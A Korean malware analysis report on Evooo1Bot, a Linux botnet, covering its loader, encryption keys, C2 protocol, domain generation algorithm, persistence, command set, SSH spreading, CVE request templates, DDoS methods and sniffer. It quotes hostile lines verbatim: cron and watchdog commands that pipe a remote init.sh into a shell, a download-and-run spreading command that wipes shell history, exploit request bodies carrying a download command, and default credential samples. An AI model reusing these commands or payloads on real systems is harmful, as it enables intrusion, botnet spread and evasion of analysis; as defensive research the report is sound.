악성코드 분석 2026-09-01
Evooo1Bot은 2026년 7월부터 활동이 확인된 다기능 Linux 봇넷이다. 명칭은 실행 파일에 포함된 evooo1 문자열에서 유래했다. 원격 명령 실행, SSH 접속,
SOCKS 중계, 서비스 거부 공격과 HTTP 요청
기능을 함께 갖추고 있으며, 특정 공격 조직과의 연계는 확인되지 않았다.
Evooo1Bot은 SH4 기반 Linux 장비에서 동작하는 악성코드다. 실행되면 장비의 환경을 점검하고 원격 제어 서버인
91.92.40.118:443으로 접속을 시도한다. 연결에 성공하면 서버의 명령을 받아
원격 명령 실행, 파일 송수신, SSH 접속 시도, SOCKS 중계, 서비스 거부 공격과 HTTP 정보 수집 기능을 수행한다. 또한 실행 권한이 허용되는 환경에서는
프로세스가 종료되거나 장비가 다시 시작된 뒤에도 실행될 수 있도록 cron, systemd, profile.d 등에
등록을 시도한다. 원격 제어 서버에 연결하지 못하면 날짜를 기준으로 생성한 .xyz 도메인을 순서대로 조회하며 접속을 다시 시도한다.
전체 흐름은 상위 로더와 Evooo1Bot 본체의 동작으로 나뉜다. 상위 로더는 내부 데이터를 복호화해 임시 경로에 본체를 저장하고 실행한 뒤, 드롭한 본체 파일을 삭제한다. 실행된 본체는 통신과 명령 처리에 필요한 설정을 불러오고 실행 환경을 점검한다. 이후 백그라운드 전환, 중복 실행 확인과 재실행 등록을 거쳐 원격 제어 서버에 접속한다. 서버 연결에 실패하면 날짜에 따라 생성되는 예비 도메인으로 접속을 다시 시도하며, 연결에 성공하면 인증과 장비 등록을 마친 뒤 명령을 기다린다.
<그림 1> 전체 실행 흐름
| 이름 | 4c0886349e9d348569fffe1b7a31e474d514508bf0cd6f1e5dd99c2a73525e4d.elf |
|---|---|
| 파일 타입 | elf |
| 파일 크기 | 264.38 KB (270720 bytes) |
| MD5 | 531dca50d5fd9c6f6ba3e5d7aaf42a2c |
| Sha256 | 4c0886349e9d348569fffe1b7a31e474d514508bf0cd6f1e5dd99c2a73525e4d |
| 패킹 | - |
| 비고 | C2 명령을 수신해 기능을 실행하는 SH4 Linux 봇 |
악성코드는 내부에 암호화된 Evooo1Bot 데이터를 포함하고 있으며, 실행 시 elf 데이터 복호화를 위한 키를 생성한다.
<그림 2> 키 생성
<그림 3> 복호화 루틴
| 구분 | 값 |
|---|---|
| 상수 a | cb3a48ab4a4481b45479b041102aa3bc8dedee017fb76193ff14d01315c19d63 |
| 상수 b | 46808337265e92a9654a2fcfbdf074a67cbcac12fd560ea73ef227f605e6bb8f |
| 최종 key | 8dbacb9c6c1a131d31339f8eaddad71af726421382e16f34c1e6f7e5102726ec |
<그림 4> 암/복호화 데이터
이후 /tmp, /var/tmp, /dev/shm 경로에서 쓰기 가능한 위치를 선택한 뒤 파일 이름을 .<PID>(숨김속성)로 생성하고 실행한다.
<그림 5> 사용되는 문자열 데이터
생성한 Evooo1Bot 본체를(.<PID>) 실행한 뒤 200ms 동안 대기하고, 실행한 본체 파일의 경로를 삭제한다. 파일 경로가 삭제된 뒤에도 이미 실행된 본체 프로세스는 계속 동작한다.
<그림 6> 파일 생성 및 덮어쓰기
<그림 7> 드롭된 파일 실행 및 생성된 파일 삭제
Evooo1Bot은 통신 주소와 명령 문자열 등의 설정을 여러 형태로 암호화하여 저장한다. 암호화된 설정 데이터는 사용하기 전 16진수 변환을 해제한 뒤 AES-256-CTR과 ChaCha20-Poly1305 방식으로 복원된다. 일부 통신·명령·공격 문자열은 각 바이트를 0x43과 XOR해 원래 문자열로 복호화해 사용된다.
<그림 8> 암호화된 문자열 목록 중 일부
<그림 9> XOR 디코딩 루틴
| 계층 | 알고리즘 | 복원된 키(16진) |
|---|---|---|
| 1 | AES-256-CTR (14 라운드, 표준 SBOX·RCON) | 8dbacb9c6c1a131d31339f8eaddad71a f726421382e16f34c1e6f7e5102726ec |
| 2 | ChaCha20-Poly1305 AEAD (RFC 8439, 카운터 1 시작) | 2d1a23a8ec2ba4500bf8f6fe09b5b80f 2fc524a8a70ec5226b936598bbb5dd64 |
악성코드 실행 직후 명령 처리 속도와 현재 실행 중인 프로세스를 확인한다. 시간 측정 결과와 차단 대상 프로세스의 발견 여부를 점수로 계산하며, 특정 기준에 도달하면 종료한다.
| 검사 | 방법 | 임계값 | 가점 |
|---|---|---|---|
| 타이밍 A | 짧은 sleep 구간을 3회 측정 | 50 ms 초과 | 1 |
| 타이밍 B | getpid 50회 반복 구간을 세 번 측정 | 1ms 초과 측정이 두 번 이상 | 2 |
| 프로세스 | /proc 순회 후 각 PID의 cmdline을 샌드박스 11종과 대소문자 무시 부분일치 비교 | 1건이라도 일치 | 즉시 종료 |
세 차례의 측정 중 두 차례 이상이 1ms를 넘으면 2점을 더한다. 전체 점수가 2점
이상이거나 차단 목록의 프로세스 이름이 확인되면 종료한다.
허니팟 환경 감지에는 kippo, cowrie, twisted,
svr04 키워드를 사용하며, 이와 함께 busybox
ECHOTEST applet의 응답 여부도 확인한다. 다만 C2 서버가 작업 지시에 NOHPCHECK:1 플래그를 붙이면 검사
단계는 생략된다.
| 행위 | 설명 |
|---|---|
| SIGPIPE·SIGCHLD를 무시로 설정 | SIGPIPE와 SIGCHLD 신호의 기본 동작을 무시하도록 설정 |
| /proc/self/oom_score_adj에 -1000 기록 | 메모리 부족 상황에서 종료 대상으로 선택될 가능성을 낮추기 위해 -1000 기록 시도 |
| /dev/watchdog을 열어 WDIOC_KEEPALIVE 신호를 한 번 보낸 뒤 닫음 | 장비가 스스로 재부팅하는 타이머를 늦추려는 동작. 신호를 주기적으로 반복하지는 않으며, 두 경로 모두 없으면 건너뛴다 |
| 프로세스명을 redis-server re로 설정 | Redis 서버로 위장 |
| 이중 fork 후 새 세션을 만들고 표준 입출력을 /dev/null로 재지정 | 데몬화 및 로그 분석 방해 |
| 프로그램은 같은 장비에서 이미 실행 중인지 확인하기 위해 127.0.0.1:42780으로 접속 | 연결되지 않으면 자신이 해당 주소에서 접속을 기다리고, 이미 다른 프로그램이 기다리고 있으면 중복 실행으로 판단해 종료 |
<그림 10>은 시그널 무시 설정, 새 세션 생성, 표준 입출력 재지정되는 구간으로 데몬화 시점에 표준 에러가 /dev/null로 전환되므로 이후 출력은 진행되지 않는다.
<그림 10> strace에서 추출한 데몬화 구간
환경 검사가 끝나면 실행되는 중복실행 검사는 127.0.0.1:42780에 접속해 같은 악성코드가 이미 있는지 보는 방식을 사용한다. 사용되는 주소와 포트는 프로그램 안에 고정돼 있다. 응답이 오면 sweedishsniper라는 표식을 보내고 연결을 끊는다. 그 다음 42780 포트를 사용하려고 시도하고, 세 번까지 안 되면 해당 포트를 쓰던 프로세스를 종료시킨 뒤 사용한다.
<그림 11> 실행 직후 127.0.0.1:42780 접속 시도 — 접속 거부(ECONNREFUSED)
중복실행 방지 이후 Evooo1Bot은 하드코딩된 C2 IP 91.92.40.118의 TCP 443 포트에 자체 암호화
채널로 연결한다. TLS 표준을 사용하지 않으며, TCP/443을
사용하지만 일반적인 HTTPS가 아닌 자체 통신 규격으로 데이터를 주고받는다. DNS·DoH 리졸버 문자열과 .xyz TLD가 함께 존재한다.
저장된 원격 제어 주소를 순서대로 시도한다. 모든 주소에 연결하지
못하면 날짜를 기준으로 만든 예비 도메인으로 접속을 다시 시도한다.
[1단계] 설정 C2 목록을 인덱스 순으로 시도
[2단계] 전부 실패하면 DGA 폴백 (N = 0 .. 19)
domain = DGA(N), 연결 포트 = TCP/443
재시도 간격은 실패할 때마다 증가하며 지연시간이 더해진다
마지막 후보까지 실패하면 장시간 대기 후 설정을 다시 읽고 1단계로 복귀한다.
[표 5] 단계별 접속시도
| 항목 | 값 |
|---|---|
| C2 IP | 91.92.40.118 |
| C2 포트 | 표준 HTTPS 포트를 위장에 사용 |
| 초기 스크립트 | http://91.92.40.118/init.sh |
| 폴백 DNS(UDP) | 1.1.1.1:53, 8.8.8.8:53, 9.9.9.9:53, 208.67.222.222:53 |
| 폴백 DoH | cloudflare-dns.com, dns.google, dns.quad9.net:5053 |
| 대역폭 측정 | https://speed.cloudflare.com/__down?bytes=100000 |
| DGA 후보 TLD | . xyz |
| DGA 시드 | 2eb6ee84 |
| 버전 | v5.3 |
서버에 연결되면 EZF3로 시작하는 68바이트 메시지를 보내고 64바이트 응답을 받는다. 프로그램과 서버는 교환한 값을 이용해 통신에 사용할 암호화 키를 만들며, 이후의 명령과 응답은 해당 키로 암호화된다. 키 유도는 HMAC-SHA256을 기반으로 하되, 카운터 바이트가 없는 비표준 구성이다.
[표 7] 키 생성
<그림 12> 매 접속 시도마다 EZF3로 시작하는 68바이트를 송신 (write 반환값 68)
봇이 쓰는 프로토콜과 동일한 규격의 가짜 C2 서버를 만들어, 봇이 보낸 68바이트 HELLO에 64바이트로 응답해주면 이후 통신에 쓰일 공유 키와 세션 키 세 개가 양쪽에서 동일하게 산출된다.
<그림 13> 가짜 C2와 봇 간 키 교환 결과 — 공유 키 및 세션 키 3종
레코드는 2바이트 길이 접두와 암호문으로 구성된다. 무결성 태그를 평문 뒤에 붙인 다음 통째로 암호화하는 구성이기때문에 태그가 평문으로 노출되지 않는다.
record = [len_BE(2B)] [ ChaCha20_dir( P || HMAC-SHA256(K_mac, P)[0:16] ) ] len = |P| + 16
- nonce: 12바이트 전량 0
- keystream: 방향별로 세션 전체에 걸쳐 연속(레코드마다 재초기화하지 않음)
[표 8] 레코드 프레이밍 구조
C2등록 비콘은 필드를 하나씩 이어 붙여 만든다. 구분자 :도 난독화된 값을 복호화해 1바이트씩 삽입한다.
-
C2 등록 비콘: REGISTER:v5.3:e6f57cf1:Linux-sh4:3280:8:sample_ng:direct:scan:atk
| 순서 | 값 | 의미 | 산출 방법 |
|---|---|---|---|
| 1 | v5.3 | 봇 버전 | 하드코딩된 설정 영역에서 가져옴 |
| 2 | e6f57cf1 | BotID | MAC 기반 해시 상위 4바이트 (아래 설명) |
| 3 | Linux-sh4 | 아키텍처 | 실행 환경 판별 |
| 4 | 3280 | 총 메모리(MB) | sysinfo — (totalram × mem_unit) >> 20 |
| 5 | 8 | CPU 개수 | 논리 프로세서 수 |
| 6 | sample_ng | 실행 파일명 | 자기 경로에서 추출 |
| 7 | direct | 접속 모드 | 세션 컨텍스트 |
| 8–9 | scan, atk | 활성 기능 플래그 | 모듈 상태 |
BotID는 확보한 MAC을
:와 함께
다른 값과 결합한 뒤 해시 값으로 변경하고, 해당 값의 상위 4바이트를 8자리 16진수 문자열로 표기한 값이다.
위 규격대로 서버를 구성해 접속을 받으면 인증부터 등록까지 전 구간이 평문으로 복원되고, 무결성 검증도 양방향 모두 통과한다.
<그림 14> 핸드셰이크 완료 후 복원된 인증·등록 구간
C2 접속이 실패하면 날짜를 시드에 넣어 도메인을 만들고 접속을 시도한다. 하루가 지나면 후보가 통째로 바뀐다. 도메인을 만드는 과정에서 포트 후보도 계산하지만, 실제 접속 과정에서는 이 값을 사용하지 않는다. 생성된 도메인은 TCP/443으로 연결된다.
s = 시드(2eb6ee84) + 연월일 + N N = 0 .. 19
d = SHA-256(s)
label = for i in 0..15 : 'a' + (d[i] mod 26) 16자 소문자
domain= label + ".xyz"
[표 10] 도메인 구성
[표 11]은 상기 구성도와 동일하게 산출한 도메인이다.
8월 20일 whlwosgdquahsfmh.xyz → beusjgzmuyhhbttp.xyz (N=0, N=1 순서까지 일치)
8월 21일 yzpsrwnyqnswdpco.xyz
8월 22일 mvoucdlbgbuownqe.xyz
[표 11] 세 날짜에 대한 값
whlwosgdquahsfmh.xyz
beusjgzmuyhhbttp.xyz
kkvyjxdajbcxthyl.xyz fxfebksezfjeyooq.xyz
acyvawrggvtzewmu.xyz psreugmpnrhrmwfd.xyz
btdfpampubbxlbkq.xyz rgthzfmsxcjdgbrw.xyz
[표 12] 생성된 도메인 리스트
<그림 15>의 패킷 데이터를 보면 1차 C2 접속이 RST로 실패한 직후, *DGA 예측 목록의 1번(whlwosgdquahsfmh.xyz)과 2번(beusjgzmuyhhbttp.xyz)이 순서대로 DNS에 질의됨을 알 수 있다.
<그림 15> 예측 목록의 데이터를 순서대로 질의
* 예비 도메인 생성 기능은 날짜와 고정된 값을 이용해 하루 최대 20개의 .xyz 도메인을 만든다. 원격 제어 서버에 연결하지 못하면 생성된 도메인을 순서대로 조회하고 TCP/443으로 접속한다. 생성되는 도메인은 날짜와 고정된 값을 기준으로 결정되므로, 같은 날짜와 순번에서는 항상 같은 후보가 만들어진다.
프로그램은 종료되거나 장비가 다시 시작된 뒤에도 실행될 수 있도록 cron, profile.d, SysV init, systemd, 자기복제, rc.local 등록을 차례대로 시도한다. 실제 등록 여부는 실행 권한과 해당 경로의 쓰기 권한에 따라 달라진다.
| 방식 | 핵심 내용 |
|---|---|
| cron | /var/spool/cron/crontabs/root에 항목 직접 기록, ⑵ crontab -에 heredoc(<<'ENDCRON' … ENDCRON)으로 규칙을 밀어넣어 등록. 기본 주기는 매분이며, 실행 명령 앞에 "봇이 이미 떠 있는지" 확인하는 가드가 선행된다(아래 인용). 별도로 5분 주기용 cron 문자열도 함께 보유 |
| profile.d | /etc/profile.d/ 아래 스크립트 생성. 로그인 셸 시작 시 다운로더 실행 |
| SysV init | /etc/init.d/ 에 LSB 헤더를 갖춘 스크립트 생성 후 기본 런레벨에 등록, /etc/rc*.d/S90* 링크 |
| systemd | Description=System Service Manager, After/Wants=network-online.target, Type=oneshot 유닛 생성. ExecStart는 페이로드를 /tmp/..redis-sentinel로 내려받아 실행한다. 이어서 daemon-reload와 enable --now 수행 |
| systemd 위장 | redis-sentinel.service 및 Apache HTTPD Cache Manager 이름의 유닛 — 정상 서비스로 오인 유도 |
| 자기복제 | 자기 실행 파일을 후보 경로로 복사한 뒤 실행 권한 부여 |
| rc.local | /etc/rc.local 추가 등록 |
등록되는 cron 줄은 다음과 같다. 기록된 PID가 살아 있으면 exit 0으로 즉시 빠져나가고, 죽어 있을 때만 재다운로드와 재실행으로 진행한다. 단순 주기 재실행이 아니라 감시 기반 재실행 구조다.
* * * * * /bin/sh -c 'kill -0 <pid> 2>/dev/null && exit 0;
(wget -qO- http://91.92.40.118/init.sh
|| curl -sL http://91.92.40.118/init.sh) | /bin/sh' > /dev/null 2>&1
[표 14] root crontab 등록
감시 스크립트도 동일한 PID 생존 확인 로직을 사용한다. 다만 다운로드하기 전에 이미 생성된 파일이 있으면 해당 파일을 먼저 실행한다.
kill -0 <pid> 2>/dev/null && exit 0;
([ -x <대상경로> ] && <대상경로>
|| (wget -qO-
http://91.92.40.118/init.sh
|| curl
-sL http://91.92.40.118/init.sh) | /bin/sh) > /dev/null 2>&1 &
[표 15] 감시 스크립트
/var/tmp/., /dev/shm/., /var/run/., /usr/bin/.supervisor, /usr/sbin/.supervisor, /usr/bin/.sshd, /usr/sbin/.sshd, /usr/lib/libsystem, /usr/lib/libworker, /tmp/.arm5, /tmp/.sh4, /tmp/.x86 외.
[표 16] 자기복제 대상 경로
실행 시 기록되는 내용은 다음과 같다. systemd 유닛 본문, crontab 등록, 감시 스크립트 한 줄이 모두 같은 페이로드 URL을 참조한다.
<그림 16> 기록된 systemd 유닛 본문과 crontab heredoc, 감시 스크립트 한 줄
확인된 실행 환경에서는 root crontab에 매분 실행되는 항목이 등록됐으며, 같은 주소에 60초 간격으로 요청이 반복됐다.
<그림 17> 페이로드 재요청 데이터 (60초 간격으로 반복)
Evooo1Bot이 원격 제어 서버에서 받는 텍스트 명령은 30개다. updatefetch는 텍스트 명령이 아니라 별도의 갱신 명령으로 처리된다. 명령 문자열은 모두 XOR 0x43로 인코딩된 형태로 .rodata에 저장되며, 스택 버퍼로 복사되면서 XOR 복호화 후 비교된다.
| 분류 | 명령 | 기능 |
|---|---|---|
| 실행 | !shell !exec | 임의 명령 실행, 종료코드·표준출력·표준오류 회신 |
| 실행 | !stream / !detach !bg | 출력 스트리밍 실행 / 백그라운드 분리 실행 |
| 세션 | !info / !exit !kill | 호스트 정보 회신 / 봇 종료 |
| 파일 | !upload <path> <base64> | Base64 디코드 후 파일 기록, 기록 바이트 수 회신 |
| 파일 | !download <path> | 파일 읽기 후 시작·종료 마커로 전송, 10MB 상한 |
| 유지 | !persist / !reinstall <url> | 지속성 재설치 / URL 재설치 |
| 유지 | updatefetch | 갱신 후 재적용 |
| 은폐 | rootkit / unrootkit | LD_PRELOAD 루트킷 설치 / 제거 |
| 프록시 | !socks / !stopsocks / !socksauth <u> <p> | SOCKS 프록시 기동·중지 (기본 1080), 인증 자격 설정 |
| 수집 | !sniff / !stopsniff | 트래픽 스니퍼 기동·중지, 로그 /tmp/.sniff.log |
| 확산 | !ssh / !stopssh / !enableautossh / !disableautossh | SSH 스캐너 제어 및 자동 확산 토글 |
| 확산 | !http / !stophttp / !cve <payload> / !stopcve / !cveall <payload> | HTTP 익스플로잇 모듈 제어 |
| 공격 | !attack <method> <ip> <port> <duration> [opts] / !stopattack | DDoS 개시 / 전체 중지 |
Evooo1Bot에는 권한 상승 코드가 없으며 명령은 봇 프로세스의 UID를 그대로 상속한다. <그림 18>은 일반 계정(uid=1000)으로 실행된 봇에 !shell id를 전송한 결과 응답 uid에도 1000으로 반환되어, 명령이 실행시킨 계정의 권한을 그대로 상속함을 알 수 있다. 즉, 감염 호스트에서 관측되는 명령 실행 권한은 최초 실행된 프로그램에 의해 결정된다.
<그림 18> 권한 상승 여부 확인
<그림 19>는 원격 제어 명령을 보냈을 때 프로그램이 반환한 응답을 보여준다. 장비 정보 확인과 셸 명령 처리 결과는 응답으로 확인됐으며, 재실행 등록 명령의 실제 파일 변경 여부는 별도로 확인해야 한다.
<그림 19> 원격 명령 처리
인자를 생략하고 명령을 보내면 봇이 usage 문자열을 직접 응답하며 각 명령이 요구하는 인자의 이름·순서·형식이 그대로 드러난다. 아래는 응답 원문이다.
<그림 20> 명령에 대한 인자 값 포맷 노출
| 명령어 | 응답 값 |
|---|---|
| !attack | Usage: !attack <method> <ip> <port> <duration> [opts...] |
| !upload | [upload] usage: !upload <path> <base64data> |
| !cve | [cve] missing payload |
| !download | [download] missing path |
| !socks | [socks] error: bind failed |
* !socks의 회신은 사용법이 아니라 실행 시도가 bind 단계에서 실패한 결과다.
명령에 대한 응답값을 보면 파일 업로드 명령은 기록된 바이트 수가, 다운로드 명령에는 파일 이름과 Base64 데이터가 포함된 응답값이 반환된다. 다운로드에 대한 응답 값은 __FILE_START__ 뒤에 파일 이름을 붙이고, 줄바꿈 뒤에 내용을 Base64로 실은 다음 __FILE_END__로 닫는 형식이다.
[표 19] !upload / !download 명령에 대한 응답
<그림 21>은 파일 전송과 공격 명령을 보냈을 때 돌아온 응답 화면이다. 업로드에는 기록한 바이트 수, 다운로드에는 파일 이름과 Base64로 실린 내용, 공격 명령에는 대상과 지속 시간이 담긴 개시 응답이 각각 회신됐다. 세 명령 모두 봇이 받아 처리했다는 것은 확인되지만, 실제 공격 패킷이 나갔는지는 이 화면으로 알 수 없다.
<그림 21> 공격 명령 실행 응답, 파일 기록 4바이트, 파일 반출 회신
명령어&회신 : !attack udp 127.0.0.1 9999 5 → [attack] udp -> 127.0.0.1:9999 for 5s started
[표 20] 공격 명령에 대한 회신
프로그램 안에는 SSH 연결과 인증을 처리하는 코드가 포함돼 있다. 서버 명령을 받으면 여러 대상의 SSH 서비스에 접속하고 저장된 계정 정보를 이용해 로그인을 시도한다. 실행 파일에는 curve25519-sha256, diffie-hellman-group14-sha256과 함께 구형 diffie-hellman-group1-sha1 및 ssh-rsa 문자열이 포함돼 있다. 실제 접속에 사용되는 방식은 대상 서버와의 협상 결과에 따라 결정된다.
| 항목 | 알고리즘 |
|---|---|
| 프로토콜 문자열 | ssh-userauth, ssh-connection |
| KEX | curve25519-sha256, curve25519-sha256@libssh.org, diffie-hellman-group14-sha256, diffie-hellman-group14-sha1, diffie-hellman-group1-sha1 |
| 대칭키 | aes128-ctr, aes256-ctr |
| MAC | hmac-sha2-256, hmac-sha1 |
| 호스트 키 | ssh-rsa, ssh-ed25519 |
| 인증 | password, keyboard-interactive |
SSH 인증에 사용하는 계정과 비밀번호 목록은 실행 파일 안에 평문으로 저장돼 있다. 목록은 188행이며 중복을 제외하면 181개 조합이다.
root, admin, user, test, guest, oracle, postgres, mysql, ftp, webadmin, administrator, ubuntu, pi, nagios, git, jenkins, tomcat, deploy, webmaster, support, ubnt, supervisor, dietpi
[표 22] 사용자 명 리스트
<그림 22> 하드코딩된 자격증명 일부
목록에는 IoT 기본 자격증명(root:vizxv,
root:hi3518, admin:zte910, admin:7ujMko0admin 등)과
서버·CI/CD 환경 계정(oracle, postgres,
jenkins, tomcat, deploy)이 함께 포함된다.
SSH 접속에 성공하면 페이로드를 바로 주입하지 않고, 먼저 대상이 허니팟인지 검사한다.
| 역할 | 문자열 |
|---|---|
| 탐지를 위한 명령어 | cat /proc/version, cat /proc/1/cmdline, /opt/cowrie, /home/cowrie, busybox ECHOTEST, ls /opt/cowrie /home/cowrie /home/kippo |
| 탐지를 위한 비교 문자열 | cowrie, kippo, twisted, svr04, Linux version, /home/kippo, applet not found |
허니팟이 아니라고 판단되면 다음 명령을 실행한다. 다운로드 수단을 wget → curl → tftp 순으로 시도하고, 실행 후 흔적을 지운다.
sh (cd %s && (wget %s -O .d 2>/dev/null || curl -s %s -o .d 2>/dev/null || tftp -g -r .d -l .d %s 2>/dev/null) && chmod +x .d && ./.d%s || ); history -c 2>/dev/null; > ~/.bash_history 2>/dev/null; rm -f .d); history -c 2>/dev/null; > ~/.bash_history 2>/dev/null
[표 24] 파일 다운로드 및 삭제 페이로드
저장된 HTTP 요청 템플릿을 처리한다. CVE 식별자 26개와 명령 문자열이 포함된 요청 본문 20개가 존재하지만 실제 공격 성공을 의미하지 않는다.
| CVE | 대상 제품 |
|---|---|
| CVE-2021-35395 | Realtek Jungle SDK |
| CVE-2021-33044 | Dahua |
| CVE-2021-36260 | Hikvision |
| CVE-2021-22205 | GitLab ExifTool |
| CVE-2022-26134 | Confluence OGNL |
| CVE-2022-29464 | WSO2 |
| CVE-2022-30525 | Zyxel Firewall |
| CVE-2023-1389 | TP-Link Archer AX21 |
| CVE-2023-28771 | Zyxel IKE (UDP 500) |
| CVE-2023-27222 | - |
| CVE-2023-34362 | MOVEit Transfer |
| CVE-2023-46604 | Apache ActiveMQ |
| CVE-2024-1708 | ConnectWise ScreenConnect |
| CVE-2024-27198 | JetBrains TeamCity |
| CVE-2024-24919 | Check Point VPN |
| CVE-2024-4577 | PHP-CGI |
| CVE-2024-6387 | OpenSSH (regreSSHion) |
| CVE-2024-38077 | Windows Remote Desktop Licensing |
| CVE-2024-0012 | Palo Alto PAN-OS |
| CVE-2024-9474 | Palo Alto PAN-OS |
| CVE-2024-47575 | FortiManager |
| CVE-2024-10914 | D-Link NAS |
| CVE-2025-0282 | Ivanti Connect Secure |
| CVE-2025-1205 | - |
| CVE-2025-1974 | nginx Ingress Controller |
| CVE-2025-24200 | Apple iOS |
서버가 전달하는 명령어는
HEADER:
EXPECT: PORT: UA: PATH: METHOD: SR: ORIGIN MODE:all MODE:payload CLEAN:1
NOHPCHECK:1
형식이며 구분자로 === 와 ---
를 사용한다.
모듈 실행 명령은 페이로드 호스트를 인자로 받으며 인자값 없이는 요청이 제대로 나가지 않는다.
!cve → [cve] missing payload
!cve 10.99.99.99 →
[cve] Scanner started
!cveall 10.99.99.99 →
[cveall] Scanner started (all exploits)
[표 26] CVE 명령과 응답
<그림 23> 익스플로잇 모듈 실행 로그
요청 본문은 평문으로 저장되어 있어 그대로 읽을 수 있다. [표 27]은 본문에 다운로드 명령이 직접 포함된 20건이며, 각 본문은 해당 CVE 문자열과 그 다음 CVE 문자열 사이 구간에 위치한다. 표기된 <CMD>는 “wget -qO- http://PAYLOAD_HOST/init.sh | sh”이며, 실제로는 인코딩된 데이터로 사용된다.
| CVE | 저장된 요청 본문 |
|---|---|
| CVE-2021-35395 | macAddr=;<CMD>;&deviceId=1 |
| CVE-2021-33044 | action=delete&name=;<CMD>; |
| CVE-2021-36260 | language=en';<CMD>;' |
| CVE-2022-26134 | ${(#a=@org.apache.commons.io.IOUtils@toString( @java.lang.Runtime@getRuntime().exec("<CMD>")))}/login.action |
| CVE-2022-30525 | {"command":"setWanPortSt", … ,"dns1":"`,<CMD>`"} |
| CVE-2023-1389 | token=1&write_val=<CMD>&write_key=1 |
| CVE-2023-28771 | {"dst":"`<CMD>`","proxy":{"ip":"1.1.1.1","port":"123"}} |
| CVE-2023-27222 | UPnP SOAP — <tns:SetDefaultConnectionService> 요소에 `<CMD>` 삽입 |
| CVE-2023-34362 | command=save&ds=1&username=admin'; exec master..xp_cmdshell '<CMD>';-- |
| CVE-2023-46604 | Spring XML — <bean class="java.lang.ProcessBuilder" init-method="start"> 인자로 /bin/sh -c <CMD> |
| CVE-2024-1708 | ctl00$Main$ctl01$UserName=admin&…&ctl00$Main$ctl01$RedirectUrl=/<CMD> |
| CVE-2024-27198 | tokenName=exploit&tokenValue=<CMD> |
| CVE-2024-24919 | command=../../../../../../../../etc/passwd& file=../../../../../../../../tmp/exploit;<CMD> |
| CVE-2024-4577 | /php-cgi/php-cgi.exe?-d+allow_url_include=on +-d+auto_prepend_file=php://input&cmd=<CMD> |
| CVE-2024-0012 | action=set&cmd=<CMD> |
| CVE-2024-47575 | action=login&username=admin&password=admin&redirect=;<CMD> |
| CVE-2024-10914 | /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';<CMD>;' |
| CVE-2025-0282 | username=admin&password=admin&realm=Admin+Users&submit=Login&<CMD> |
| CVE-2025-1205 | write_val=<CMD>&write_key=cmd |
| CVE-2025-1974 | Kubernetes Ingress JSON — paths[].path 를 "/$(<CMD>)" 로 지정 |
일부 본문에는 해당 제품에서만 쓰이는 엔드포인트나 구문이 들어 있다.
Zyxel의 setWanPortSt, D-Link의
account_mgr.cgi, php-cgi 인자, MOVEit의 xp_cmdshell 호출이 그런 예다. 다만 이는 제품을 지목하는
단서일 뿐, 저장된 본문이 공개된 실제 취약 트리거와 완전히 일치하지는 않는다.
또한 목록에는 Windows 전용(CVE-2024-4577, CVE-2024-38077)과 Apple 기기(CVE-2025-24200) 취약점이 함께 들어 있다. 프로그램이 Linux에서 실행된다는 사실과 원격 요청을 받는 대상 장비의 운영체제는 별개다. 다만 저장된 요청 가운데 일부는 해당 취약점에 필요한 통신 방식이나 실행 조건과 맞지 않는다. 물리적인 접근이 필요한 CVE-2025-24200은 네트워크를 이용한
확산 항목과 구분해야 한다.
Evooo1Bot은 원격 명령 !attack으로 16종의 DDoS 공격
기법을 지원한다.
-
명령어: !attack <method> <ip> <port> <duration>
[opts...]
| 구분 | 값 |
|---|---|
| 메서드 | udp udpplain vse dns syn ack usyn xmas std stomp greip greeth tcpall tcpfrag ovh asyn |
| TCP 플래그 옵션 | fin syn rst psh ack urg |
| IP·전송 옵션 | dport sport ttl tos ident df rand size |
| 기타 옵션 | domain source gcip ackrnd seqrnd |
!attack 명령은 16개의 공격 방식 이름을 처리한다. 프로그램은 직접 만든 UDP, TCP, GRE 패킷을 전송하도록 구성돼 있으며, DNS 또는 VSE 형식의 요청을 만드는 방식도 포함한다. 외부 속도 측정 주소에 접속하는 처리 경로도 포함돼 있다.
| 공격 종류 | 설명 |
|---|---|
| udp | 일반적인 UDP Flood |
| vse | Valve Source Engine 질의 증폭 공격 |
| dns | DNS Flood |
| syn | TCP SYN Flood |
| ack | TCP ACK Flood |
| stomp | TCP STOMP |
| greip | GRE로 캡슐화된 IP flood |
| greeth | GRE로 캡슐화된 Ethernet flood |
| udpplain | 헤더 최소화한 PPS UDP flood |
| std | 무작위 길이 페이로드 UDP flood |
| xmas | 모든 TCP 플래그를 켠 공격 |
| usyn | URG + SYN 플래그 조합 변형 |
| tcpall | 임의의 TCP 플래그 조합 |
| tcpfrag | 단편화된 TCP flood |
| ovh | ovh로 명명된 TCP 공격 변형 |
| asyn | asyn으로 명명된 SYN 공격 변형 |
봇은 원격 명령 !socks, !socksauth, !stopsocks로 SOCKS 프록시를 제어한다. 감염 장비 자체에 리스너를 여는 직접 모드와 운영자 릴레이 서버로 아웃바운드 연결을 만드는 릴레이 모드 두 가지가 확인된다.
1080포트에 SOCKS 리스너를
연다. 관련 문자열은 다음과 같다.
-
0.0.0.0:1080, 0.0.0.0:%s, 1080,
bind failed, Already running
릴레이 서버로 아웃바운드 연결을 만든 뒤 다음 텍스트 프레임을 주고받는다.
| 문자열 | 설명 |
|---|---|
| relay:%s:%s | 릴레이 서버 주소:포트 포맷 |
| RELAY_OK | 릴레이 서버 → 봇 (인증 성공) |
| RELAY_AUTH:%s:%s | 봇 → 릴레이 서버 (자격증명 전송) |
| RELAY_NEW: | 릴레이 → 봇 (신규 세션 생성 지시) |
| RELAY_DATA:%s | 봇 → 릴레이 (데이터 채널 등록, 세션ID 포함) |
SOCKS 기능은 연결을 관리하는 통신과 실제 데이터를 전달하는 통신을 분리해 처리한다. 이를 통해 하나의 연결만 사용하는 것이 아니라 여러 중계 연결을 각각 관리할 수 있다.
원격 명령 !sniff와 !stopsniff로 활성화되는 트래픽 캡처 모듈이다. 프로그램은 장비를 통과하는 네트워크 패킷을 직접 수신한 뒤 IPv4와 TCP 내용을 확인한다. 이 과정에서 암호화되지 않은 HTTP 요청에 포함된 Basic 인증 정보, Cookie, 입력 폼과 URL 값을 추출한다. /proc/net/tcp는 패킷 수집에 사용되지 않으며, HTTPS로 암호화된 내용은 이 방식으로 읽을 수 없다.
| 필드 | 인식 문자열 |
|---|---|
| POST 본문 | application/x-www-form-urlencoded |
| 폼 컨텐츠 판별 | content-type: |
| HTTP Basic 인증 | authorization: basic |
| 세션 쿠키 | Cookie: |
| URL 질의 문자열 | (URL 자체 파싱) |
| 인식 HTTP 메서드 | POST HEAD PUT GET |
| 항목 | 값 |
|---|---|
